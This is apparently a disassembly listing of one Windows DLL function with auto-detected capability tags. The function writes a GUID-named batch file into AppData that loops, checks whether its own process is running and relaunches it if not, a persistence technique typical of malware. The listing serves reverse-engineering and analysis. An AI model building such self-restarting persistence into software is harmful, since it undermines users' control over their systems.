Function at 0x1001c487
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb6c
mov eax, dword [0x10059400]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 0x357]
push 0x103
push ebx
push eax
mov byte [ebp - 0x358], bl
call fcn.10022b50
mov esi, dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x358]
add esp, 0xc
mov edi, 0x104
push edi
push eax
push ebx
call esi
push 0x103
lea eax, [ebp - 0x253]
mov byte [ebp - 0x254], bl
push ebx
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x254]
push edi
push eax
push ebx
call esi
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0xb6c]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
mov esi, 0x1005c570
test eax, eax
jne 0x1001c536
push dword [ebp - 0xb6c]
push str._06X
push 0x40
push esi
call fcn.100256e8
add esp, 0x10
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
lea eax, [ebp - 0x4c]
push 0x1004fb14
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0xc]
add esp, 0xc
mov dword [ebp - 0xc], 0x7461622e
mov byte [ebp - 8], bl
push eax
lea eax, [ebp - 0x4c]
push eax
call esi
push 0x103
lea eax, [ebp - 0x14f]
mov byte [ebp - 0x150], bl
push ebx
push eax
call fcn.10022b50
add esp, 0xc
lea eax, [ebp - 0x150]
push 1
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x150]
push 0x1004f24c
push eax
call fcn.10028910
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.10028910
push 0x7ff
lea eax, [ebp - 0xb57]
mov byte [ebp - 0xb58], bl
push ebx
push eax
call fcn.10022b50
add esp, 0x1c
lea eax, [ebp - 0xb58]
push str._echo_off_n_r
push eax
call esi
push str.set__interval5_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.set__processName
lea eax, [ebp - 0xb58]
push eax
call esi
lea eax, [ebp - 0x254]
push eax
lea eax, [ebp - 0xb58]
push eax
call esi
mov edi, 0x10050b6c
lea eax, [ebp - 0xb58]
push edi
push eax
call esi
push str.set__processCmd
lea eax, [ebp - 0xb58]
push eax
call esi
lea eax, [ebp - 0x358]
push eax
lea eax, [ebp - 0xb58]
push eax
call esi
push edi
lea eax, [ebp - 0xb58]
push eax
call esi
push str.set__processTimeout1_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.set__username_COMPUTER__n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.:LOOP_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.set__a_isAlivefalse_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.tasklist__find__C____processName_____temp.txt_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.set__p_num___temp.txt_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.del__F_temp.txt_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.if___num_____0_____n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.start___processCmd___echo_start___processName__at__time___n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.choice__D_y__t___processTimeout____nul_n_r__n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.if___num___NEQ__0__echo___processName__is_running__n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.choice__D_y__t___interval___nul_n_r
lea eax, [ebp - 0xb58]
push eax
call esi
push str.goto_LOOP_n
lea eax, [ebp - 0xb58]
push eax
call esi
push ebx
push 2
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea eax, [ebp - 0xb5c]
push ebx
push eax
push 0x800
lea eax, [ebp - 0xb58]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea ecx, [ebp - 0x150]
call fcn.1001c25f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10021ccc
mov esp, ebp
pop ebp
ret